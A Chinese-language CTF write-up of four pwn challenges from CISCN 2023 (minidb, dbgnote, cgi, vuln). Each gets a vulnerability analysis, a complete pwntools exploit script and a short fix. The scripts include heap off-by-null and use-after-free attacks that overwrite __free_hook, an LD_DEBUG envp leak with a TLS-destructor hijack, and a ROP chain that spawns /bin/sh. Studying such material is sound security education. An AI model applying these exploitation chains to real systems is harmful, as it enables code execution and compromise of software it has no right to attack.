CISCN 2023 华东北赛区 AWDPlus pwn 题复现
- 第十六届全国大学生信息安全竞赛—创新实践能力赛 华东北赛区
minidb
程序分析
-
heap pwn 第一步 写菜单
-
类似一个数据库, 可以,添加数据库,删除数据库,show 数据库…..
- use_db() 里面还有一些操作
- 漏洞点在 use_db 里的 edit 功能里
- 18行 行可以输入 255 个字符串
- 19行测长度,21 虽然有长度限制防止堆溢出
- 但是 在 20行 就已经使用 到 输入字符串的长度了,heap_addr + len + 0x10 = 0
- 如果堆块的大小是 0xa0, 而输入的是 0x100 ,这样的话很明显
- 可以将下面一个堆块的size 或内容 1字节清空,
- 比如修改 fd
- 漏洞找到了,后面就是堆风水了
- libc 2.31 劫持
__free_hook
为system
Break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
binary = 'minidb'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
gdbscript = '''
continue
'''.format(**locals())
io = start(binary)
def add_db(name,Type):
ru('Your choice: ')
sl('1')
ru('Please input the name of database: ')
sl(name)
ru("Please input the type of database: ")
sl(str(Type))
def use_db(name):
ru('Your choice: ')
sl('2')
ru("Please input the name of database: ")
sl(name)
def del_db(name):
ru('Your choice: ')
sl('3')
ru('Please input the name of database: ')
sl(name)
def show_db():
ru('Your choice: ')
sl('4')
def rename_db(name,new_name):
ru('Your choice: ')
sl('5')
ru("Please input the name of database: ")
sl(name)
ru("Please input the new name for database: ")
sl(new_name)
def use_db_add(idx,data):
ru('Your choice: ')
sl('1')
ru('Input the key: ')
sl(str(idx))
ru('Input the value:')
sl(data)
def use_db_show(idx):
ru('Your choice: ')
sl('2')
ru('Input the key: ')
sl(str(idx))
def use_db_edit(idx,data):
ru('Your choice: ')
sl('3')
ru('Input the key: ')
sl(str(idx))
ru('Input the new value: ')
sl(data)
def use_db_rm(idx):
ru('Your choice: ')
sl('4')
ru('Input the key: ')
sl(str(idx))
def use_db_exit():
ru('Your choice: ')
sl('666')
add_db('N'*0xa7,1)
use_db('N'*0xa7)
use_db_add(0,'A'*8)
use_db_add(1,'B'*8)
use_db_add(2,'C'*8)
use_db_add(3,'D'*0x78+'\xa1')
use_db_rm(2)
use_db_rm(1)
use_db_edit(0,'T'*0x90)
use_db_add(2,'X')
use_db_add(0xa1,'Y')
use_db_rm(3)
use_db_rm(2)
use_db_edit(0,'T'*0x78+'\xa1')
use_db_show(0xa1)
ru(' is ')
heap_addr = uu64(r(6))
use_db_exit()
add_db('text1',1)
add_db('text2',1)
add_db('text3',1)
add_db('/bin/sh',1)
del_db('text2')
target = heap_addr + 144
target1 = heap_addr + 2272
use_db('N'*0xa7)
use_db_edit(0xa1,p64(target))
#
#
use_db_add(10,'test1')
use_db_add(0x21,b'A'*8+p64(target1)) # leak main_arena
use_db_exit()
show_db()
ru('N\n\x09')
main_arena = uu64(r(6))
libc_base = main_arena - 2018272
libc = elf.libc
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
use_db('N'*0xa7)
use_db_edit(0x21,b'A' *0x18+ p16(0x801))
use_db_edit(0x21,b'A' *9+ p64(target1))
use_db_edit(0x21,b'A' *8+ p64(target1))
use_db_exit()
use_db('/bin/sh')
use_db_add(0,'A'*8)
use_db_add(1,'B'*8)
use_db_add(2,'C'*8)
use_db_add(3,'D'*8)
use_db_rm(2)
use_db_rm(1)
use_db_edit(0,'T'*0x90)
use_db_add(10,'D'*0x18+'\xa1')
use_db_add(11,'D'*8)
use_db_rm(3)
use_db_rm(11)
use_db_edit(10, b'T'*0x20+p64(__free_hook-0x10))
use_db_add(21,'tt')
use_db_add(22,p64(system))
use_db_exit()
lss('libc_base')
lss('heap_addr')
#gdb.attach(io,'brva 0x002340')
del_db('/bin/sh')
io.interactive()
Fix
- 修复应该很简单直接这个 nop 掉 应该就没问题了
- 修复
dbgnote
- envp 知识点
LD_DEBUG=files
LD_DEBUG=all
环境变量里有这些,运行时会有调试信息 - 劫持 tls 段 控制
exit
->__run_exit_handlers
->__call_tls_dtors
里面的走向
程序分析
- main 函数处 buf 存在 一个bss 上的溢出,可以覆盖 下面的指针
- 四功能齐全,但是没有任何问题,此题可能不是打堆
- gift 功能 泄露栈地址,具体什么用后面就知道了
- dbg 模式
- 初始化函数,存在一个 可以触发 dbg 模式的 信号 6
Break
- 程序基本就是上面那样,我也是跟着其他大佬的wp 做的,我们直接讲一下关键点
- 想要触发 dbg 模式 我们就需要 程序发出SIGABRT 6 , SIGABRT 6 的触发也就是由abort(3)发出的退出指令
- 什么可以触发abort(3) 呢?,没错 就是栈溢出。
SIGABRT 6 C 由abort(3)发出的退出指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
brva 0x01500
'''.format(**locals())
binary = './dbgnote'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary,['run'])
#io = remote()
nl = ['Note_Add','Note_Delete','Note_Write','Note_Read',b'++--++--']
def login(name):
ru('UserName: ')
sl(name)
def add(size,text):
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
sl(str(size))
ru("Note: ")
s(text)
def rm(idx):
ru('@Note $ ')
sl(nl[1])
ru("Index: ")
sl(str(idx))
def edit(idx,text):
ru('@Note $ ')
sl(nl[2])
ru("Index: ")
sl(str(idx))
ru("Note: ")
sl(text)
def show(idx):
ru('@Note $ ')
sl(nl[3])
ru("Index: ")
sl(str(idx))
def gift(e=b'\x00'):
ru('@Note $ ')
sl(nl[4]+e)
login('my_name\x00')
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
#gdb.attach(io)
s('A'*0x19)
- 进入
__stack_chk_fail
就会调用abort(3)
继续执行的话,直接就可以触发 dbg 模式
- 进入dbg 模式了
- 虽然进入dbg 模式了,但是 由于程序有 PIE ,想利用任意读任意写功能都是梦,
- 所以该这么泄露地址呢?这就需要利用 环境变量了,下图里的envp 指针是可以通过buf 溢出修改的
- 测试代码
1
2
3
4
5
6
7
8
9
login('my_name\x00')
ru('@Note $ ')
sl('A' * 0x32)
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
gdb.attach(io)
s('A'*0x19)
- 也就是说可以控制 envp 的指针,具体指向哪呢,怎么利用呢?继续看
- 有个东西叫
LD_DEBUG
, 只要环境变量里有LD_DEBUG=files
就可以在执行程序的时候 输出下面的那一坨东西 debug信息
-
LD_DEBUG
help
- 利用 gift 泄露 stack 低16 位 ,泄露的地址
+ 0x1c
也就是 我们 name 的低 16 位,可以把 envp 的低 16 位改成 name 的地址,这样我们的 envp 的内容就可以通过 name 来控制
- 然后继续运行就会 有这一坨调试数据
- 接受 libc_base
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
login('LD_DEBUG=all\x00')
add(0x50,'tttttt\n')
#login('run\x00')
gift()
ru('Super note: ')
x = int(ru('\n'))
name = x + 0x1c
ls(hex(x))
lss('name')
pay = 6 * p64(0) + p16(name)
ru('Note $ ')
sl(pay)
#gdb.attach(io,'brva 0x000017E4')
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
#gdb.attach(io)
s('A'*0x19)
ru('base: ')
libc_base = int(r(18),16)
ru('[Addr] ')
libc = elf.libc
# _GLOBAL_OFFSET_TABLE_
gdb.attach(io)
lss('libc_base')
- 最后是 exit(0) 退出,打 IO 的话 0x90 应该不够用. pass
- 由于是高版本。传统的 exit_hook 打
_rtld_global
不可用. pass - 高版本下可以利用 劫持 tls 段内容 来控制
__call_tls_dtors
,
exit
-> __run_exit_handlers
-> __call_tls_dtors
- 通过这个地址 泄露 ld 上的地址
泄露 ld 地址 计算 tls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
login('LD_DEBUG=all\x00')
add(0x50,'tttttt\n')
#login('run\x00')
gift()
ru('Super note: ')
x = int(ru('\n'))
name = x + 0x1c
ls(hex(x))
lss('name')
pay = 6 * p64(0) + p16(name)
ru('Note $ ')
sl(pay)
#gdb.attach(io,'brva 0x000017E4')
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
#gdb.attach(io)
s('A'*0x19)
ru('base: ')
libc_base = int(r(18),16)
libc = elf.libc
ld_addr = libc_base + 2203664
lss('libc_base')
lss('ld_addr')
ru('[Addr] ')
s(p64(ld_addr))
ru('[Read] ')
ld = uu64(r(6))
ld_base = ld - 89392
tls_base = ld_base - 100544
gdb.attach(io)
lss('libc_base')
lss('ld_addr')
lss('ld_base')
lss('tls_base')
- 差不多了,然后 执行到
__call_tls_dtors
根据 情况取调试 就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// glibc 2.35
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj); // call rax
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
libc_hidden_def (__call_tls_dtors)
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
brva 0x01500
'''.format(**locals())
binary = './dbgnote'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary,['run'])
#io = remote()
nl = ['Note_Add','Note_Delete','Note_Write','Note_Read',b'++--++--']
def login(name):
ru('UserName: ')
sl(name)
def add(size,text):
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
sl(str(size))
ru("Note: ")
s(text)
def rm(idx):
ru('@Note $ ')
sl(nl[1])
ru("Index: ")
sl(str(idx))
def edit(idx,text):
ru('@Note $ ')
sl(nl[2])
ru("Index: ")
sl(str(idx))
ru("Note: ")
sl(text)
def show(idx):
ru('@Note $ ')
sl(nl[3])
ru("Index: ")
sl(str(idx))
def gift(e=b'\x00'):
ru('@Note $ ')
sl(nl[4]+e)
login('LD_DEBUG=all\x00')
add(0x50,'tttttt\n')
#login('run\x00')
gift()
ru('Super note: ')
x = int(ru('\n'))
name = x + 0x1c
ls(hex(x))
lss('name')
pay = 6 * p64(0) + p16(name)
ru('Note $ ')
sl(pay)
#gdb.attach(io,'brva 0x000017E4')
ru('@Note $ ')
sl(nl[0])
ru('Size: ')
#gdb.attach(io)
s('A'*0x19)
ru('base: ')
libc_base = int(r(18),16)
libc = elf.libc
ld_addr = libc_base + 2203664
lss('libc_base')
lss('ld_addr')
ru('[Addr] ')
s(p64(ld_addr))
ru('[Read] ')
ld = uu64(r(6))
ld_base = ld - 89392
tls_base = ld_base - 100544
#gdb.attach(io)
lss('libc_base')
lss('ld_addr')
lss('ld_base')
lss('tls_base')
def ror(num,i):
part1 = num >> i
part2 = num << (64 - i)
part2 &= (1 << 64) -1
return part1 + part2
ru('[Addr] ')
target = tls_base - 88
#mov rbp, qword ptr fs:[rbx]
#RBX 0xffffffffffffffa8 = - 88
s(p64(target))
libc = elf.libc
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
t1 = ror(target,0x11)
t2 = t1 ^ system
ru('[Write] ')
pay = p64(target) + p64(bin_sh) + p64(target)
pay = pay.ljust(88,b'A')
pay = pay + 0x10 * b'\x00'
pay = pay + p64(tls_base) + p64(0) # 需要一个地址
pay = pay + 0x10 * b'\x00'
pay += p64(t2) # 0x90
s(pay)
io.interactive()
Fix
- 把几处溢出的地方修复应该就没问题了
cgi
程序分析
-
模拟 cgi , libc 2.31 的堆题,分析菜单要我的命啊
-
UAF 漏洞, 利用就比较简单了
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
binary = './cgi'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
gdbscript = '''
brva 0x0000001C8D
continue
'''.format(**locals())
io = start(binary)
rn = b'\r\n'
def add(idx,name,pwd,size):
data = b'PUT /profile?' + (b'id=%d' % idx) + rn
data += b' ' + rn
data += b'Content-Type: application/x-www-form-urlencoded' + rn * 2
data += (b'name=%s' % name) + (b'&password=%s' % pwd) + (b'&password_length=%d' % size) + rn
s(data)
def edit(idx,name,pwd):
data = b'POST /profile?' + (b'id=%d' % idx) + rn
data += b' ' + rn
data += b'Content-Type: application/x-www-form-urlencoded' + rn * 2
data += (b'name=%s' % name) + (b'&password=%s' % pwd) + rn
s(data)
def show(idx):
data = b'GET /profile?' + (b'id=%d' % idx) + rn
data += b' ' + rn
data += b'Content-Type: application/x-www-form-urlencoded' + rn * 2
s(data)
def rm(idx):
data = b'DELETE /profile?' + (b'id=%d' % idx) + rn
data += b' ' + rn
data += b'Content-Type: application/x-www-form-urlencoded' + rn * 2
s(data)
add(0,b'name1',b'mepwd1',0x440)
add(1,b'name2',b'mepwd2',0x440)
ru('HTTP')
rm(0)
ru('HTTP')
show(0)
ru('ord=')
x = uu64(r(6))
libc_base = x - 2018272
libc = elf.libc
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
lss('x')
lss('libc_base')
rm(1)
edit(1,p64(__free_hook)[:-2],b'456')
add(2,b'/bin/sh',b'/bin/sh',0x440)
add(3,p64(system)[:-2],b'mepwd2',0x440)
rm(2)
io.interactive()
Fix
- 漏洞在
DELETE /profile
free
后没有清除堆块指针,导致free 后的堆块 仍然可以被操作, -
只需要free 后, 然后再把 bss 段上的指针清空即可
- 原始程序汇编
- 加固后
1
2
3
4
5
6
7
8
lea r15, qword ptr[0x7060]
mov r14, [rdx+r15]
mov rdi,[r14+0x28]
call _free
mov rdi, [r15]
call _free
xor r14,14
mov [r15],r14
vuln
- 覆盖种子,栈溢出
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
binary = './vuln'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
io = start(binary)
#io = remote()
from ctypes import *
import time
dll = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')
ru('Please enter your name:\n')
#gdb.attach(io)
s(18*'A')
dll.srand(0x41414141)
for i in range(100):
x = dll.rand() % 100 + 1
ru('Guess the random number:\n')
sl(p32(x))
ru("You are talented, here's your gift!\n")
pay = 0x38 * b'A' + p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x0401261)
sl(pay)
x = uu64(r(6))
libc = elf.libc
libc_base = x - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ls(hex(libc_base))
pay = 0x38 * b'A' + p64(rop.find_gadget(['ret'])[0])*1 + p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(bin_sh) + p64(system) + p64(elf.sym['main'])
sl(pay)
io.interactive()
Fix
- 控制 read 的大小即可
本文由作者按照
CC BY 4.0
进行授权